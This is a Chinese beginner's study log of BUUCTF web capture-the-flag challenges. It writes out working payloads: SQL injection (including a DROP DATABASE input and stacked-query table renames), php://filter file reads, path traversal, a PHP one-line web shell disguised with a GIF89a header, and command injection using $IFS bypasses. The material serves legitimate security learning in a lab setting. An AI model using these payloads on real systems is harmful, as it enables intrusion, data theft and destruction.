这是一份实时更新的BUUCTF Web类的学习笔记
第一次接触ctf,就先从web开始吧
[极客大挑战 2019]EasySQL
登陆页面 => sql注入
密码尝试 1' or '1' = '1
login success!!
万能密码
很多的密码框处的查询语句为
select username,password from users where username=$_GET['username'] and password=$_GET['password']
带入万能密码后为
select username,password from users where username='Whatever' and password='1' or '1' = '1'
sql中and优先级高于or => 上面语句在密码不对时值为'1' = '1'
为true => 登陆成功
同理 可以通过username实现 输入' or 1 = '1' -- password =
— 表示注释
还可以输入' or 1 = '1' ; DROP DATABASE (DB Name)-- password =
DROP DATABASE (DB Name)
表示删除已存在的数据库
试一下竟然是这样一个彩蛋
[极客大挑战 2019]Havefun
查看源码后发现这一段php代码注释
<!--
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
-->
不会php 于是就去查了一下 大概意思就是当cat=dog的时候会输出一些别的东西
所以就用 GET 方法传入 把请求参数和对应的值附加在 URL 后面
http://123d252f-6fce-4069-99bc-fa3c6f711189.node4.buuoj.cn:81/?cat=dog
这样网页中就显示了flag
[ACTF2020 新生赛]Include
使用php伪协议php://filter 读取flag.php并进行base64编码输出
?file=php://filter/read=convert.base64-encode/resource=./flag.php
得到
PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7YmU3MDc3MmItMWViZC00NDZhLThmZmQtMDlkMmNkYjU5Njg3fQo=
base64解码后得到
<?php
echo "Can you find out the flag?";
//flag{be70772b-1ebd-446a-8ffd-09d2cdb59687}
[HCTF 2018]admin
逐个页面看源码
从最开始的页面看到you are not admin的注释
从change password的页面找到了项目源码https://github.com/woadsl1234/hctf_flask/ 点进去发现是一个叫flask的东西 没听说过
只好到处点开看看 发现index.html中有这样一段:
{% if current_user.is_authenticated %}
<h1 class="nav">Hello {{ session['name'] }}</h1>
{% endif %}
{% if current_user.is_authenticated and session['name'] == 'admin' %}
所以确认了这道题是要以admin登入 也就是搞出密码
先直接burpsuite爆破试了一下
密码竟然就是123
直接login 得到了flag
[ACTF2020 新生赛]BackupFile
目标是找备份文件
常见的备份文件后缀名有 .git .svn .swp .~ .bak .bash_history
常见的文件名有source.php, robots.txt, index.php.bak, www.zip, bak.zip, tar.gz, www.rar
用dirsearch扫描 发现了文件index.php.bat
自动下载后打开如下:
<?php
include_once "flag.php";
if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);//使key转为int
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}
要让key的值==str来输出flag
同时又不能让key不为数字
中间将key的值转为了int 也就是说在后面key和str的弱比较时
str也会被转为int 即123
所以直接让key等于123就可以了
[MRCTF2020]Ez_bypass
I put something in F12 for you
include 'flag.php';
$flag='MRCTF{xxxxxxxxxxxxxxxxxxxxxxxxx}';
if(isset($_GET['gg'])&&isset($_GET['id'])) {
$id=$_GET['id'];
$gg=$_GET['gg'];
if (md5($id) === md5($gg) && $id !== $gg) {
echo 'You got the first step';
if(isset($_POST['passwd'])) {
$passwd=$_POST['passwd'];
if (!is_numeric($passwd))
{
if($passwd==1234567)
{
echo 'Good Job!';
highlight_file('flag.php');
die('By Retr_0');
}
else
{
echo "can you think twice??";
}
}
else{
echo 'You can not get it !';
}
}
else{
die('only one way to get the flag');
}
}
else {
echo "You are not a real hacker!";
}
}
else{
die('Please input first');
}
}Please input first
是一道注入的题
第一步要求id和gg不一样但md5后值一样
不太会 去查了查才知道这是用数组绕过 因为md5遇到数组都返回null
第二步又是弱比较 passwd在1234567后随便加字母就可以le
[BJDCTF2020]Easy MD5
直接拿去爆破了 失败以后直接g
第一次知道header里面还能有hint:
select * from 'admin' where password=md5($pass,true)
一查md5($pass,true)
还是挺常见的一个东西 变量pass先转为16位2进制的格式再通过md5加密后的结果 用这个结果完成注入
要能够完成注入的话 需要以'or'
再加上一个非零的数字开头
一般来说这个pass是ffifdyop 转为最终结果是'or'6<trash>
输入后到了第2关 source里发现了一段php
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
简单的数组绕过或用0e
然后到第三关一样 强类型比较 数组绕过就可
[SUCTF 2019]EasySQL
一个简单的输入框 其他的什么也没有
试了各种注入方法 盲注 联合查询这些都没用
输入数字和堆叠注入可以得到一些内容 但不知道有啥用
看答案
是要猜出输入非零数字得到的回显&输入其他字符得不到回显=>内部的查询语句可能存在有||
就相当于输入语句是这样的
select " " || "flag" from Flag
所以可以输入*, 1
也可以输入1;set sql_mode=pipes_as_concat;select 1
set sql_mode=pipes_as_concat
可以把||当作连接符而不是逻辑运算
连起来就等于 select 1&flag from Flag
得到flag
[极客大挑战 2019]Http
源码里发现secret.php
打开后提示It doesn’t come from ‘https://Sycsecret.buuoj.cn’
很容易想到bs抓个包修改一下header中的referer
输入Referer:https://Sycsecret.buuoj.cn
注意一定要加在header中间 不能空一行加在最后 总之就是得和原header连着
send后又收到提示Please use “Syclover” browser
呐就再改一下User-Agent为Syclover
send后又收到提示No!!! you can only read this locally!!!
呐就再把XFF设为本地
输入X-Forwarded-For: 127.0.0.1
得到flag
[极客大挑战 2019]Secret File
几个页面看源码下来没什么收获
试着用bs抓包 在第二个页面点secret时抓包有了发现
发现抓包时GET的是action.php而不是正常跳转过去的end.php
大概是中间被转走了
内容如下
<html>
<!--
secr3t.php
-->
</html>
<html>
<title>secret</title>
<meta charset="UTF-8">
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>
</html>
试着访问flag.php 不行
所以flag.php应该在后端
用file=php://filter/convert.base64-encode/resource=flag.php
获得base64编码后的字符串 再进行解码得到下面这些
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>FLAG</title>
</head>
<body style="background-color:black;"><br><br><br><br><br><br>
<h1 style="font-family:verdana;color:red;text-align:center;">啊哈!你找到我了!可是你看不到我QAQ~~~</h1><br><br><br>
<p style="font-family:arial;color:red;font-size:20px;text-align:center;">
<?php
echo "我就在这里";
$flag = 'flag{96374c20-6358-464b-acc9-289dcc07f342}';
$secret = 'jiAng_Luyuan_w4nts_a_g1rIfri3nd'
?>
</p>
</body>
</html>
结束
[极客大挑战 2019]Upload
一道文件上传的题
先试着传一下php文件 显示Not image 说明是有白名单的 不是image好办 改一下Content-Type或先上传image再改后缀都可 但又显示NOT!php! 说明后续又有针对php的检查
php不行就再试一下phtml文件 还是那一套流程 刚才的问题解决了 但又提示NO! HACKER! your file included ‘<?’ 意思是对文件内的<?
进行了检查 绕过这个检查可以用
<script language="php">eval($_POST['shell']);</script>
但改过这个后问题又来了 又显示Don’t lie to me, it’s not image at all!!! 应该是对文件头进行了检查 那么在一句话木马前面加上GIF89a
伪造一下就好了
随后成功上传phtml文件 但最后一个问题是文件路径 随便猜了一下最常规的/upload就对了 不玩运气的dirsearch扫描肯定也能扫出来 知道了路径就能蚁剑连接了 最后在根目录找到flag
[ACTF2020 新生赛]Upload
看一下源代码知道有js验证 先抓包改一下后缀 发现php不行 说明后端对php后缀还有检查 试一下其他形式的后缀 用phtml上传成功了 所以后端是没过滤phtml的 蚁剑连接就完了
[极客大挑战 2019]Knife
一进去就看到eval($_POST["Syc"]);
这样一个一句话木马 结合题目knief 菜刀丢了的提示 白给的shell这样的网页标题 直接试了一下蚁剑连接就成功了
[GXYCTF2019]Ping Ping Ping
一进来只有一个/?ip= 一看就是一道RCE注入的题
先试了一下?ip=127.0.0.1&ls
正常显示ping没什么特别的
又试了一下?ip=127.0.0.1;ls
出现了flag.php和index.php 大概是目录下的文件
随后就是要搞出来flag.php的内容
先试了一下?ip=127.0.0.1;cat flag.php
得到/?ip= fxck your space!的提示 说明有对空格的检测
去查了一下空格过滤 可以用$IFS$9
, ${IFS}
来替换
再尝试?ip=127.0.0.1;cat$IFS$9flag.php
又有/?ip= fxck your flag! 说明flag也不能直接出现 回想了一下之前看到过的这种变量代换的方法表示出flag 这样就成功了
?ip=127.0.0.1;b=g;cat$IFS$9fla$b.php
但有一点疑惑的是?ip=127.0.0.1;a=fla;b=g;cat$IFS$9$a$b.php
仍会被检查到flag 去查了一下才想起来是可以先去看index.php中的过滤代码的
/?ip=
|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)
die("fxck your symbol!");
} else if(preg_match("/ /", $ip)){
die("fxck your space!");
} else if(preg_match("/bash/", $ip)){
die("fxck your bash!");
} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
die("fxck your flag!");
}
$a = shell_exec("ping -c 4 ".$ip);
echo "
";
print_r($a);
}
?>
前面的过滤方式很好理解
看到 symbol 的突然想起之前如果用 ${IFS}
就寄了
不太懂的是flag那里 只好去查:preg_match("/.*f.*l.*a.*g.*/", $ip)
是一个正则匹配
就是f, l, a, g这四个字母不能按顺序出现
比如这样就不行
?ip=127.0.0.1;b=fla;a=g;cat$IFS$9$b$a.php
如果是这样就又可以了
?ip=127.0.0.1;a=g;b=fla;cat$IFS$9$b$a.php
别人的题解真的打开新世界
还有一种解法
?ip=127.0.0.1;cat$IFS$9`ls`
一种内联执行 把反引号的输出作为所属命令的输入
这样一下就把目录下的所有文件全打印出来了
[MRCTF2020]你传你?呢
先传个 .htaccess试一下 失败之后 传个正常照片格式的文件抓包改下Content-Type和后缀试试 试出来验证机制是针对Content-Type的且会对php后缀有过滤机制
所以传.htaccess的时候改个Content-Type就好了
[HCTF 2018]WarmUp
F12 根据注释打开source.php 出现了一大片php代码
<?php
highlight_file(__FILE__);
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
flag not here, and flag in ffffllllaaaagggg
先给出了白名单 然后又经过了两次问号过滤 过滤后仍需要在白名单内
通过hint可以知道最后要访问到 ffffllllaaaagggg 也就是 file 为 ffffllllaaaagggg 的路径
推测 ffffllllaaaaggg 应该是在很后面级别的目录里
另外因为过滤中的 mb_strpos 是获取第一个 ? 这样如果原本在字符串内的 ? 是可以提前截断的 相当于只要输入的字符串中的 ? 前字符串在白名单就可以了 而不需要整个字符串都要在白名单
试一下 ?file=source.php?
发现不会报错 说明没问题
最后构造一下 利用 ? 绕过白名单验证就可以了 ../ 表示上一级目录
?file=hint.php?../../../../../ffffllllaaaagggg
[ACTF2020 新生赛]Exec
一个 ping 的框 先试一下 127.0.0.1&ls
发现只有一个index.php
再看一下网站根目录 127.0.0.1&ls /
看到有flag
所以直接 127.0.0.1&cd /; cat flag
[极客大挑战 2019]LoveSQL
Unknown column ‘4’ in ‘order clause’
[极客大挑战 2019]PHP
/?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
[强网杯 2019]随便注
先用order by查出只有两个字段 但在union select时 发现有一个正则表达式把很多词过滤了
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
因为没有过滤show 就先堆叠注入看看结构
show databases;
show tables;
show columns from table_name;
查到一个words表和一个1919810931114514表 1919810931114514里面有flag 所以大概正常回显的是words表的信息
然后就不会了 只能查到有这个东西但不会查看
去查了题解 发现有两种方法:
第一种:
handler original_table open as your_table; #指定数据表进行载入并将返回句柄重命名
handler your_table read first; #读取指定表/句柄的首行数据
handler your_table read next; #读取指定表/句柄的下一行数据
handler your_table read next; #读取指定表/句柄的下一行数据
...
handler your_table close; #关闭句柄
由此可得此题 payload:
1'; handler `1919810931114514` open as `a`; handler `a` read next;#
第二种:
alter table " table_name" add " column_name" type (not null或null);
alter table " table_name" drop " column_name" type (not null或null);
alter table persons add age primary key (id); //指定主键
alter table person add unique (id); //唯一
alter table person add check (id>0); //限制值范围
alter table " table_name" alter column " column_name" type;
alter table " table_name" change " column1" " column2" type;
alter table "table_name" rename "column1" to "column2";
alter table person alter city set default 'chengdu'; //mysql指定默认参数
So 此题 payload:
1'; rename table words to word1; rename table `1919810931114514` to words;alter table words add id int unsigned not Null auto_increment primary key; alter table words change flag data varchar(100);